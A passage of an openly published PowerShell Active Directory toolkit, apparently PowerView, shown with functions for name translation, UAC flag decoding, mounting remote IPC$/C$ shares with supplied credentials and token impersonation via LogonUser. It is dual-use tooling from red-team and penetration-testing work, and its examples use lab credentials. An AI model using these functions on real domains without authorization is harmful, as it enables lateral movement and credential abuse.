   1771     Canonical         canonical name; e.g., 'fabrikam.com/Engineers/Phineas Flynn'
   1772     NT4               domain\username; e.g., 'fabrikam\pflynn'
   1773     Display           display name, e.g. 'pflynn'
   1774     DomainSimple      simple domain name format, e.g. 'pflynn@fabrikam.com'
   1775     EnterpriseSimple  simple enterprise name format, e.g. 'pflynn@fabrikam.com'
   1776     GUID              GUID; e.g., '{95ee9fff-3436-11d1-b2b0-d15ae3ac8436}'
   1777     UPN               user principal name; e.g., 'pflynn@fabrikam.com'
   1778     CanonicalEx       extended canonical name format
   1779     SPN               service principal name format; e.g. 'HTTP/kairomac.contoso.com'
   1780     SID               Security Identifier; e.g., 'S-1-5-21-12986231-600641547-709122288-57999'
   1781 
   1782 .PARAMETER OutputType
   1783 
   1784 Specifies the output name type you want to convert to, which must be one of the following:
   1785 
   1786     DN                short for 'distinguished name'; e.g., 'CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com'
   1787     Canonical         canonical name; e.g., 'fabrikam.com/Engineers/Phineas Flynn'
   1788     NT4               domain\username; e.g., 'fabrikam\pflynn'
   1789     Display           display name, e.g. 'pflynn'
   1790     DomainSimple      simple domain name format, e.g. 'pflynn@fabrikam.com'
   1791     EnterpriseSimple  simple enterprise name format, e.g. 'pflynn@fabrikam.com'
   1792     GUID              GUID; e.g., '{95ee9fff-3436-11d1-b2b0-d15ae3ac8436}'
   1793     UPN               user principal name; e.g., 'pflynn@fabrikam.com'
   1794     CanonicalEx       extended canonical name format, e.g. 'fabrikam.com/Users/Phineas Flynn'
   1795     SPN               service principal name format; e.g. 'HTTP/kairomac.contoso.com'
   1796 
   1797 .PARAMETER Domain
   1798 
   1799 Specifies the domain to use for the translation, defaults to the current domain.
   1800 
   1801 .PARAMETER Server
   1802 
   1803 Specifies an Active Directory server (domain controller) to bind to for the translation.
   1804 
   1805 .PARAMETER Credential
   1806 
   1807 Specifies an alternate credential to use for the translation.
   1808 
   1809 .EXAMPLE
   1810 
   1811 Convert-ADName -Identity "TESTLAB\harmj0y"
   1812 
   1813 harmj0y@testlab.local
   1814 
   1815 .EXAMPLE
   1816 
   1817 "TESTLAB\krbtgt", "CN=Administrator,CN=Users,DC=testlab,DC=local" | Convert-ADName -OutputType Canonical
   1818 
   1819 testlab.local/Users/krbtgt
   1820 testlab.local/Users/Administrator
   1821 
   1822 .EXAMPLE
   1823 
   1824 Convert-ADName -OutputType dn -Identity 'TESTLAB\harmj0y' -Server PRIMARY.testlab.local
   1825 
   1826 CN=harmj0y,CN=Users,DC=testlab,DC=local
   1827 
   1828 .EXAMPLE
   1829 
   1830 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
   1831 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword)
   1832 'S-1-5-21-890171859-3433809279-3366196753-1108' | Convert-ADNAme -Credential $Cred
   1833 
   1834 TESTLAB\harmj0y
   1835 
   1836 .INPUTS
   1837 
   1838 String
   1839 
   1840 Accepts one or more objects name strings on the pipeline.
   1841 
   1842 .OUTPUTS
   1843 
   1844 String
   1845 
   1846 Outputs a string representing the converted name.
   1847 
   1848 .LINK
   1849 
   1850 http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats
   1851 https://gallery.technet.microsoft.com/scriptcenter/Translating-Active-5c80dd67
   1852 #>
   1853 
   1854     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
   1855     [OutputType([String])]
   1856     [CmdletBinding()]
   1857     Param(
   1858         [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
   1859         [Alias('Name', 'ObjectName')]
   1860         [String[]]
   1861         $Identity,
   1862 
   1863         [String]
   1864         [ValidateSet('DN', 'Canonical', 'NT4', 'Display', 'DomainSimple', 'EnterpriseSimple', 'GUID', 'Unknown', 'UPN', 'CanonicalEx', 'SPN')]
   1865         $OutputType,
   1866 
   1867         [ValidateNotNullOrEmpty()]
   1868         [String]
   1869         $Domain,
   1870 
   1871         [ValidateNotNullOrEmpty()]
   1872         [Alias('DomainController')]
   1873         [String]
   1874         $Server,
   1875 
   1876         [Management.Automation.PSCredential]
   1877         [Management.Automation.CredentialAttribute()]
   1878         $Credential = [Management.Automation.PSCredential]::Empty
   1879     )
   1880 
   1881     BEGIN {
   1882         $NameTypes = @{
   1883             'DN'                =   1  # CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com
   1884             'Canonical'         =   2  # fabrikam.com/Engineers/Phineas Flynn
   1885             'NT4'               =   3  # fabrikam\pflynn
   1886             'Display'           =   4  # pflynn
   1887             'DomainSimple'      =   5  # pflynn@fabrikam.com
   1888             'EnterpriseSimple'  =   6  # pflynn@fabrikam.com
   1889             'GUID'              =   7  # {95ee9fff-3436-11d1-b2b0-d15ae3ac8436}
   1890             'Unknown'           =   8  # unknown type - let the server do translation
   1891             'UPN'               =   9  # pflynn@fabrikam.com
   1892             'CanonicalEx'       =   10 # fabrikam.com/Users/Phineas Flynn
   1893             'SPN'               =   11 # HTTP/kairomac.contoso.com
   1894             'SID'               =   12 # S-1-5-21-12986231-600641547-709122288-57999
   1895         }
   1896 
   1897         # accessor functions from Bill Stewart to simplify calls to NameTranslate
   1898         function Invoke-Method([__ComObject] $Object, [String] $Method, $Parameters) {
   1899             $Output = $Null
   1900             $Output = $Object.GetType().InvokeMember($Method, 'InvokeMethod', $NULL, $Object, $Parameters)
   1901             Write-Output $Output
   1902         }
   1903 
   1904         function Get-Property([__ComObject] $Object, [String] $Property) {
   1905             $Object.GetType().InvokeMember($Property, 'GetProperty', $NULL, $Object, $NULL)
   1906         }
   1907 
   1908         function Set-Property([__ComObject] $Object, [String] $Property, $Parameters) {
   1909             [Void] $Object.GetType().InvokeMember($Property, 'SetProperty', $NULL, $Object, $Parameters)
   1910         }
   1911 
   1912         # https://msdn.microsoft.com/en-us/library/aa772266%28v=vs.85%29.aspx
   1913         if ($PSBoundParameters['Server']) {
   1914             $ADSInitType = 2
   1915             $InitName = $Server
   1916         }
   1917         elseif ($PSBoundParameters['Domain']) {
   1918             $ADSInitType = 1
   1919             $InitName = $Domain
   1920         }
   1921         elseif ($PSBoundParameters['Credential']) {
   1922             $Cred = $Credential.GetNetworkCredential()
   1923             $ADSInitType = 1
   1924             $InitName = $Cred.Domain
   1925         }
   1926         else {
   1927             # if no domain or server is specified, default to GC initialization
   1928             $ADSInitType = 3
   1929             $InitName = $Null
   1930         }
   1931     }
   1932 
   1933     PROCESS {
   1934         ForEach ($TargetIdentity in $Identity) {
   1935             if (-not $PSBoundParameters['OutputType']) {
   1936                 if ($TargetIdentity -match "^[A-Za-z]+\\[A-Za-z ]+") {
   1937                     $ADSOutputType = $NameTypes['DomainSimple']
   1938                 }
   1939                 else {
   1940                     $ADSOutputType = $NameTypes['NT4']
   1941                 }
   1942             }
   1943             else {
   1944                 $ADSOutputType = $NameTypes[$OutputType]
   1945             }
   1946 
   1947             $Translate = New-Object -ComObject NameTranslate
   1948 
   1949             if ($PSBoundParameters['Credential']) {
   1950                 try {
   1951                     $Cred = $Credential.GetNetworkCredential()
   1952 
   1953                     Invoke-Method $Translate 'InitEx' (
   1954                         $ADSInitType,
   1955                         $InitName,
   1956                         $Cred.UserName,
   1957                         $Cred.Domain,
   1958                         $Cred.Password
   1959                     )
   1960                 }
   1961                 catch {
   1962                     Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' using alternate credentials : $_"
   1963                 }
   1964             }
   1965             else {
   1966                 try {
   1967                     $Null = Invoke-Method $Translate 'Init' (
   1968                         $ADSInitType,
   1969                         $InitName
   1970                     )
   1971                 }
   1972                 catch {
   1973                     Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' : $_"
   1974                 }
   1975             }
   1976 
   1977             # always chase all referrals
   1978             Set-Property $Translate 'ChaseReferral' (0x60)
   1979 
   1980             try {
   1981                 # 8 = Unknown name type -> let the server do the work for us
   1982                 $Null = Invoke-Method $Translate 'Set' (8, $TargetIdentity)
   1983                 Invoke-Method $Translate 'Get' ($ADSOutputType)
   1984             }
   1985             catch [System.Management.Automation.MethodInvocationException] {
   1986                 Write-Verbose "[Convert-ADName] Error translating '$TargetIdentity' : $($_.Exception.InnerException.Message)"
   1987             }
   1988         }
   1989     }
   1990 }
   1991 
   1992 
   1993 function ConvertFrom-UACValue {
   1994 <#
   1995 .SYNOPSIS
   1996 
   1997 Converts a UAC int value to human readable form.
   1998 
   1999 Author: Will Schroeder (@harmj0y)  
   2000 License: BSD 3-Clause  
   2001 Required Dependencies: None  
   2002 
   2003 .DESCRIPTION
   2004 
   2005 This function will take an integer that represents a User Account
   2006 Control (UAC) binary blob and will covert it to an ordered
   2007 dictionary with each bitwise value broken out. By default only values
   2008 set are displayed- the -ShowAll switch will display all values with
   2009 a + next to the ones set.
   2010 
   2011 .PARAMETER Value
   2012 
   2013 Specifies the integer UAC value to convert.
   2014 
   2015 .PARAMETER ShowAll
   2016 
   2017 Switch. Signals ConvertFrom-UACValue to display all UAC values, with a + indicating the value is currently set.
   2018 
   2019 .EXAMPLE
   2020 
   2021 ConvertFrom-UACValue -Value 66176
   2022 
   2023 Name                           Value
   2024 ----                           -----
   2025 ENCRYPTED_TEXT_PWD_ALLOWED     128
   2026 NORMAL_ACCOUNT                 512
   2027 DONT_EXPIRE_PASSWORD           65536
   2028 
   2029 .EXAMPLE
   2030 
   2031 Get-DomainUser harmj0y | ConvertFrom-UACValue
   2032 
   2033 Name                           Value
   2034 ----                           -----
   2035 NORMAL_ACCOUNT                 512
   2036 DONT_EXPIRE_PASSWORD           65536
   2037 
   2038 .EXAMPLE
   2039 
   2040 Get-DomainUser harmj0y | ConvertFrom-UACValue -ShowAll
   2041 
   2042 Name                           Value
   2043 ----                           -----
   2044 SCRIPT                         1
   2045 ACCOUNTDISABLE                 2
   2046 HOMEDIR_REQUIRED               8
   2047 LOCKOUT                        16
   2048 PASSWD_NOTREQD                 32
   2049 PASSWD_CANT_CHANGE             64
   2050 ENCRYPTED_TEXT_PWD_ALLOWED     128
   2051 TEMP_DUPLICATE_ACCOUNT         256
   2052 NORMAL_ACCOUNT                 512+
   2053 INTERDOMAIN_TRUST_ACCOUNT      2048
   2054 WORKSTATION_TRUST_ACCOUNT      4096
   2055 SERVER_TRUST_ACCOUNT           8192
   2056 DONT_EXPIRE_PASSWORD           65536+
   2057 MNS_LOGON_ACCOUNT              131072
   2058 SMARTCARD_REQUIRED             262144
   2059 TRUSTED_FOR_DELEGATION         524288
   2060 NOT_DELEGATED                  1048576
   2061 USE_DES_KEY_ONLY               2097152
   2062 DONT_REQ_PREAUTH               4194304
   2063 PASSWORD_EXPIRED               8388608
   2064 TRUSTED_TO_AUTH_FOR_DELEGATION 16777216
   2065 PARTIAL_SECRETS_ACCOUNT        67108864
   2066 
   2067 .INPUTS
   2068 
   2069 Int
   2070 
   2071 Accepts an integer representing a UAC binary blob.
   2072 
   2073 .OUTPUTS
   2074 
   2075 System.Collections.Specialized.OrderedDictionary
   2076 
   2077 An ordered dictionary with the converted UAC fields.
   2078 
   2079 .LINK
   2080 
   2081 https://support.microsoft.com/en-us/kb/305144
   2082 #>
   2083 
   2084     [OutputType('System.Collections.Specialized.OrderedDictionary')]
   2085     [CmdletBinding()]
   2086     Param(
   2087         [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
   2088         [Alias('UAC', 'useraccountcontrol')]
   2089         [Int]
   2090         $Value,
   2091 
   2092         [Switch]
   2093         $ShowAll
   2094     )
   2095 
   2096     BEGIN {
   2097         # values from https://support.microsoft.com/en-us/kb/305144
   2098         $UACValues = New-Object System.Collections.Specialized.OrderedDictionary
   2099         $UACValues.Add("SCRIPT", 1)
   2100         $UACValues.Add("ACCOUNTDISABLE", 2)
   2101         $UACValues.Add("HOMEDIR_REQUIRED", 8)
   2102         $UACValues.Add("LOCKOUT", 16)
   2103         $UACValues.Add("PASSWD_NOTREQD", 32)
   2104         $UACValues.Add("PASSWD_CANT_CHANGE", 64)
   2105         $UACValues.Add("ENCRYPTED_TEXT_PWD_ALLOWED", 128)
   2106         $UACValues.Add("TEMP_DUPLICATE_ACCOUNT", 256)
   2107         $UACValues.Add("NORMAL_ACCOUNT", 512)
   2108         $UACValues.Add("INTERDOMAIN_TRUST_ACCOUNT", 2048)
   2109         $UACValues.Add("WORKSTATION_TRUST_ACCOUNT", 4096)
   2110         $UACValues.Add("SERVER_TRUST_ACCOUNT", 8192)
   2111         $UACValues.Add("DONT_EXPIRE_PASSWORD", 65536)
   2112         $UACValues.Add("MNS_LOGON_ACCOUNT", 131072)
   2113         $UACValues.Add("SMARTCARD_REQUIRED", 262144)
   2114         $UACValues.Add("TRUSTED_FOR_DELEGATION", 524288)
   2115         $UACValues.Add("NOT_DELEGATED", 1048576)
   2116         $UACValues.Add("USE_DES_KEY_ONLY", 2097152)
   2117         $UACValues.Add("DONT_REQ_PREAUTH", 4194304)
   2118         $UACValues.Add("PASSWORD_EXPIRED", 8388608)
   2119         $UACValues.Add("TRUSTED_TO_AUTH_FOR_DELEGATION", 16777216)
   2120         $UACValues.Add("PARTIAL_SECRETS_ACCOUNT", 67108864)
   2121     }
   2122 
   2123     PROCESS {
   2124         $ResultUACValues = New-Object System.Collections.Specialized.OrderedDictionary
   2125 
   2126         if ($ShowAll) {
   2127             ForEach ($UACValue in $UACValues.GetEnumerator()) {
   2128                 if ( ($Value -band $UACValue.Value) -eq $UACValue.Value) {
   2129                     $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)+")
   2130                 }
   2131                 else {
   2132                     $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)")
   2133                 }
   2134             }
   2135         }
   2136         else {
   2137             ForEach ($UACValue in $UACValues.GetEnumerator()) {
   2138                 if ( ($Value -band $UACValue.Value) -eq $UACValue.Value) {
   2139                     $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)")
   2140                 }
   2141             }
   2142         }
   2143         $ResultUACValues
   2144     }
   2145 }
   2146 
   2147 
   2148 function Get-PrincipalContext {
   2149 <#
   2150 .SYNOPSIS
   2151 
   2152 Helper to take an Identity and return a DirectoryServices.AccountManagement.PrincipalContext
   2153 and simplified identity.
   2154 
   2155 Author: Will Schroeder (@harmj0y)  
   2156 License: BSD 3-Clause  
   2157 Required Dependencies: None  
   2158 
   2159 .PARAMETER Identity
   2160 
   2161 A group SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local),
   2162 SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202),
   2163 or a DOMAIN\username identity.
   2164 
   2165 .PARAMETER Domain
   2166 
   2167 Specifies the domain to use to search for user/group principals, defaults to the current domain.
   2168 
   2169 .PARAMETER Credential
   2170 
   2171 A [Management.Automation.PSCredential] object of alternate credentials
   2172 for connection to the target domain.
   2173 #>
   2174 
   2175     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
   2176     [CmdletBinding()]
   2177     Param(
   2178         [Parameter(Position = 0, Mandatory = $True)]
   2179         [Alias('GroupName', 'GroupIdentity')]
   2180         [String]
   2181         $Identity,
   2182 
   2183         [ValidateNotNullOrEmpty()]
   2184         [String]
   2185         $Domain,
   2186 
   2187         [Management.Automation.PSCredential]
   2188         [Management.Automation.CredentialAttribute()]
   2189         $Credential = [Management.Automation.PSCredential]::Empty
   2190     )
   2191 
   2192     Add-Type -AssemblyName System.DirectoryServices.AccountManagement
   2193 
   2194     try {
   2195         if ($PSBoundParameters['Domain'] -or ($Identity -match '.+\\.+')) {
   2196             if ($Identity -match '.+\\.+') {
   2197                 # DOMAIN\groupname
   2198                 $ConvertedIdentity = $Identity | Convert-ADName -OutputType Canonical
   2199                 if ($ConvertedIdentity) {
   2200                     $ConnectTarget = $ConvertedIdentity.SubString(0, $ConvertedIdentity.IndexOf('/'))
   2201                     $ObjectIdentity = $Identity.Split('\')[1]
   2202                     Write-Verbose "[Get-PrincipalContext] Binding to domain '$ConnectTarget'"
   2203                 }
   2204             }
   2205             else {
   2206                 $ObjectIdentity = $Identity
   2207                 Write-Verbose "[Get-PrincipalContext] Binding to domain '$Domain'"
   2208                 $ConnectTarget = $Domain
   2209             }
   2210 
   2211             if ($PSBoundParameters['Credential']) {
   2212                 Write-Verbose '[Get-PrincipalContext] Using alternate credentials'
   2213                 $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $ConnectTarget, $Credential.UserName, $Credential.GetNetworkCredential().Password)
   2214             }
   2215             else {
   2216                 $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $ConnectTarget)
   2217             }
   2218         }
   2219         else {
   2220             if ($PSBoundParameters['Credential']) {
   2221                 Write-Verbose '[Get-PrincipalContext] Using alternate credentials'
   2222                 $DomainName = Get-Domain | Select-Object -ExpandProperty Name
   2223                 $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $DomainName, $Credential.UserName, $Credential.GetNetworkCredential().Password)
   2224             }
   2225             else {
   2226                 $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain)
   2227             }
   2228             $ObjectIdentity = $Identity
   2229         }
   2230 
   2231         $Out = New-Object PSObject
   2232         $Out | Add-Member Noteproperty 'Context' $Context
   2233         $Out | Add-Member Noteproperty 'Identity' $ObjectIdentity
   2234         $Out
   2235     }
   2236     catch {
   2237         Write-Warning "[Get-PrincipalContext] Error creating binding for object ('$Identity') context : $_"
   2238     }
   2239 }
   2240 
   2241 
   2242 function Add-RemoteConnection {
   2243 <#
   2244 .SYNOPSIS
   2245 
   2246 Pseudo "mounts" a connection to a remote path using the specified
   2247 credential object, allowing for access of remote resources. If a -Path isn't
   2248 specified, a -ComputerName is required to pseudo-mount IPC$.
   2249 
   2250 Author: Will Schroeder (@harmj0y)  
   2251 License: BSD 3-Clause  
   2252 Required Dependencies: PSReflect  
   2253 
   2254 .DESCRIPTION
   2255 
   2256 This function uses WNetAddConnection2W to make a 'temporary' (i.e. not saved) connection
   2257 to the specified remote -Path (\\UNC\share) with the alternate credentials specified in the
   2258 -Credential object. If a -Path isn't specified, a -ComputerName is required to pseudo-mount IPC$.
   2259 
   2260 To destroy the connection, use Remove-RemoteConnection with the same specified \\UNC\share path
   2261 or -ComputerName.
   2262 
   2263 .PARAMETER ComputerName
   2264 
   2265 Specifies the system to add a \\ComputerName\IPC$ connection for.
   2266 
   2267 .PARAMETER Path
   2268 
   2269 Specifies the remote \\UNC\path to add the connection for.
   2270 
   2271 .PARAMETER Credential
   2272 
   2273 A [Management.Automation.PSCredential] object of alternate credentials
   2274 for connection to the remote system.
   2275 
   2276 .EXAMPLE
   2277 
   2278 $Cred = Get-Credential
   2279 Add-RemoteConnection -ComputerName 'PRIMARY.testlab.local' -Credential $Cred
   2280 
   2281 .EXAMPLE
   2282 
   2283 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
   2284 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
   2285 Add-RemoteConnection -Path '\\PRIMARY.testlab.local\C$\' -Credential $Cred
   2286 
   2287 .EXAMPLE
   2288 
   2289 $Cred = Get-Credential
   2290 @('PRIMARY.testlab.local','SECONDARY.testlab.local') | Add-RemoteConnection  -Credential $Cred
   2291 #>
   2292 
   2293     [CmdletBinding(DefaultParameterSetName = 'ComputerName')]
   2294     Param(
   2295         [Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ComputerName', ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
   2296         [Alias('HostName', 'dnshostname', 'name')]
   2297         [ValidateNotNullOrEmpty()]
   2298         [String[]]
   2299         $ComputerName,
   2300 
   2301         [Parameter(Position = 0, ParameterSetName = 'Path', Mandatory = $True)]
   2302         [ValidatePattern('\\\\.*\\.*')]
   2303         [String[]]
   2304         $Path,
   2305 
   2306         [Parameter(Mandatory = $True)]
   2307         [Management.Automation.PSCredential]
   2308         [Management.Automation.CredentialAttribute()]
   2309         $Credential
   2310     )
   2311 
   2312     BEGIN {
   2313         $NetResourceInstance = [Activator]::CreateInstance($NETRESOURCEW)
   2314         $NetResourceInstance.dwType = 1
   2315     }
   2316 
   2317     PROCESS {
   2318         $Paths = @()
   2319         if ($PSBoundParameters['ComputerName']) {
   2320             ForEach ($TargetComputerName in $ComputerName) {
   2321                 $TargetComputerName = $TargetComputerName.Trim('\')
   2322                 $Paths += ,"\\$TargetComputerName\IPC$"
   2323             }
   2324         }
   2325         else {
   2326             $Paths += ,$Path
   2327         }
   2328 
   2329         ForEach ($TargetPath in $Paths) {
   2330             $NetResourceInstance.lpRemoteName = $TargetPath
   2331             Write-Verbose "[Add-RemoteConnection] Attempting to mount: $TargetPath"
   2332 
   2333             # https://msdn.microsoft.com/en-us/library/windows/desktop/aa385413(v=vs.85).aspx
   2334             #   CONNECT_TEMPORARY = 4
   2335             $Result = $Mpr::WNetAddConnection2W($NetResourceInstance, $Credential.GetNetworkCredential().Password, $Credential.UserName, 4)
   2336 
   2337             if ($Result -eq 0) {
   2338                 Write-Verbose "$TargetPath successfully mounted"
   2339             }
   2340             else {
   2341                 Throw "[Add-RemoteConnection] error mounting $TargetPath : $(([ComponentModel.Win32Exception]$Result).Message)"
   2342             }
   2343         }
   2344     }
   2345 }
   2346 
   2347 
   2348 function Remove-RemoteConnection {
   2349 <#
   2350 .SYNOPSIS
   2351 
   2352 Destroys a connection created by New-RemoteConnection.
   2353 
   2354 Author: Will Schroeder (@harmj0y)  
   2355 License: BSD 3-Clause  
   2356 Required Dependencies: PSReflect  
   2357 
   2358 .DESCRIPTION
   2359 
   2360 This function uses WNetCancelConnection2 to destroy a connection created by
   2361 New-RemoteConnection. If a -Path isn't specified, a -ComputerName is required to
   2362 'unmount' \\$ComputerName\IPC$.
   2363 
   2364 .PARAMETER ComputerName
   2365 
   2366 Specifies the system to remove a \\ComputerName\IPC$ connection for.
   2367 
   2368 .PARAMETER Path
   2369 
   2370 Specifies the remote \\UNC\path to remove the connection for.
   2371 
   2372 .EXAMPLE
   2373 
   2374 Remove-RemoteConnection -ComputerName 'PRIMARY.testlab.local'
   2375 
   2376 .EXAMPLE
   2377 
   2378 Remove-RemoteConnection -Path '\\PRIMARY.testlab.local\C$\'
   2379 
   2380 .EXAMPLE
   2381 
   2382 @('PRIMARY.testlab.local','SECONDARY.testlab.local') | Remove-RemoteConnection
   2383 #>
   2384 
   2385     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
   2386     [CmdletBinding(DefaultParameterSetName = 'ComputerName')]
   2387     Param(
   2388         [Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ComputerName', ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
   2389         [Alias('HostName', 'dnshostname', 'name')]
   2390         [ValidateNotNullOrEmpty()]
   2391         [String[]]
   2392         $ComputerName,
   2393 
   2394         [Parameter(Position = 0, ParameterSetName = 'Path', Mandatory = $True)]
   2395         [ValidatePattern('\\\\.*\\.*')]
   2396         [String[]]
   2397         $Path
   2398     )
   2399 
   2400     PROCESS {
   2401         $Paths = @()
   2402         if ($PSBoundParameters['ComputerName']) {
   2403             ForEach ($TargetComputerName in $ComputerName) {
   2404                 $TargetComputerName = $TargetComputerName.Trim('\')
   2405                 $Paths += ,"\\$TargetComputerName\IPC$"
   2406             }
   2407         }
   2408         else {
   2409             $Paths += ,$Path
   2410         }
   2411 
   2412         ForEach ($TargetPath in $Paths) {
   2413             Write-Verbose "[Remove-RemoteConnection] Attempting to unmount: $TargetPath"
   2414             $Result = $Mpr::WNetCancelConnection2($TargetPath, 0, $True)
   2415 
   2416             if ($Result -eq 0) {
   2417                 Write-Verbose "$TargetPath successfully ummounted"
   2418             }
   2419             else {
   2420                 Throw "[Remove-RemoteConnection] error unmounting $TargetPath : $(([ComponentModel.Win32Exception]$Result).Message)"
   2421             }
   2422         }
   2423     }
   2424 }
   2425 
   2426 
   2427 function Invoke-UserImpersonation {
   2428 <#
   2429 .SYNOPSIS
   2430 
   2431 Creates a new "runas /netonly" type logon and impersonates the token.
   2432 
   2433 Author: Will Schroeder (@harmj0y)  
   2434 License: BSD 3-Clause  
   2435 Required Dependencies: PSReflect  
   2436 
   2437 .DESCRIPTION
   2438 
   2439 This function uses LogonUser() with the LOGON32_LOGON_NEW_CREDENTIALS LogonType
   2440 to simulate "runas /netonly". The resulting token is then impersonated with
   2441 ImpersonateLoggedOnUser() and the token handle is returned for later usage
   2442 with Invoke-RevertToSelf.
   2443 
   2444 .PARAMETER Credential
   2445 
   2446 A [Management.Automation.PSCredential] object with alternate credentials
   2447 to impersonate in the current thread space.
   2448 
   2449 .PARAMETER TokenHandle
   2450 
   2451 An IntPtr TokenHandle returned by a previous Invoke-UserImpersonation.
   2452 If this is supplied, LogonUser() is skipped and only ImpersonateLoggedOnUser()
   2453 is executed.
   2454 
   2455 .PARAMETER Quiet
   2456 
   2457 Suppress any warnings about STA vs MTA.
   2458 
   2459 .EXAMPLE
   2460 
   2461 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
   2462 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
   2463 Invoke-UserImpersonation -Credential $Cred
   2464 
   2465 .OUTPUTS
   2466 
   2467 IntPtr
   2468 
   2469 The TokenHandle result from LogonUser.
   2470 #>
   2471 
   2472     [OutputType([IntPtr])]
   2473     [CmdletBinding(DefaultParameterSetName = 'Credential')]
   2474     Param(
   2475         [Parameter(Mandatory = $True, ParameterSetName = 'Credential')]
   2476         [Management.Automation.PSCredential]
   2477         [Management.Automation.CredentialAttribute()]
   2478         $Credential,
   2479 
   2480         [Parameter(Mandatory = $True, ParameterSetName = 'TokenHandle')]
   2481         [ValidateNotNull()]
   2482         [IntPtr]
   2483         $TokenHandle,
   2484 
   2485         [Switch]
   2486         $Quiet
   2487     )
   2488 
   2489     if (([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') -and (-not $PSBoundParameters['Quiet'])) {
   2490         Write-Warning "[Invoke-UserImpersonation] powershell.exe is not currently in a single-threaded apartment state, token impersonation may not work."
   2491     }
   2492 
   2493     if ($PSBoundParameters['TokenHandle']) {
   2494         $LogonTokenHandle = $TokenHandle
   2495     }
   2496     else {
   2497         $LogonTokenHandle = [IntPtr]::Zero
   2498         $NetworkCredential = $Credential.GetNetworkCredential()
   2499         $UserDomain = $NetworkCredential.Domain
   2500         $UserName = $NetworkCredential.UserName
   2501         Write-Warning "[Invoke-UserImpersonation] Executing LogonUser() with user: $($UserDomain)\$($UserName)"
   2502 
   2503         # LOGON32_LOGON_NEW_CREDENTIALS = 9, LOGON32_PROVIDER_WINNT50 = 3
   2504         #   this is to simulate "runas.exe /netonly" functionality
   2505         $Result = $Advapi32::LogonUser($UserName, $UserDomain, $NetworkCredential.Password, 9, 3, [ref]$LogonTokenHandle);$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error();
   2506 
   2507         if (-not $Result) {
   2508             throw "[Invoke-UserImpersonation] LogonUser() Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
   2509         }
   2510     }
   2511 
   2512     # actually impersonate the token from LogonUser()
   2513     $Result = $Advapi32::ImpersonateLoggedOnUser($LogonTokenHandle)
   2514 
   2515     if (-not $Result) {
   2516         throw "[Invoke-UserImpersonation] ImpersonateLoggedOnUser() Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
   2517     }
   2518 
   2519     Write-Verbose "[Invoke-UserImpersonation] Alternate credentials successfully impersonated"
   2520     $LogonTokenHandle
   2521 }
   2522 
   2523 
   2524 function Invoke-RevertToSelf {
   2525 <#
   2526 .SYNOPSIS
   2527 
   2528 Reverts any token impersonation.
   2529 
   2530 Author: Will Schroeder (@harmj0y)  
   2531 License: BSD 3-Clause  
   2532 Required Dependencies: PSReflect  
   2533 
   2534 .DESCRIPTION
   2535 
   2536 This function uses RevertToSelf() to revert any impersonated tokens.
   2537 If -TokenHandle is passed (the token handle returned by Invoke-UserImpersonation),
   2538 CloseHandle() is used to close the opened handle.
   2539 
   2540 .PARAMETER TokenHandle
   2541 
   2542 An optional IntPtr TokenHandle returned by Invoke-UserImpersonation.
   2543 
   2544 .EXAMPLE
   2545 
   2546 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
   2547 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
   2548 $Token = Invoke-UserImpersonation -Credential $Cred
   2549 Invoke-RevertToSelf -TokenHandle $Token
   2550 #>
   2551 
   2552     [CmdletBinding()]
   2553     Param(
   2554         [ValidateNotNull()]
   2555         [IntPtr]
   2556         $TokenHandle
   2557     )
   2558 
   2559     if ($PSBoundParameters['TokenHandle']) {
   2560         Write-Warning "[Invoke-RevertToSelf] Reverting token impersonation and closing LogonUser() token handle"
   2561         $Result = $Kernel32::CloseHandle($TokenHandle)
   2562     }
   2563 
   2564     $Result = $Advapi32::RevertToSelf();$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error();
   2565 
   2566     if (-not $Result) {
   2567         throw "[Invoke-RevertToSelf] RevertToSelf() Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
   2568     }
   2569 
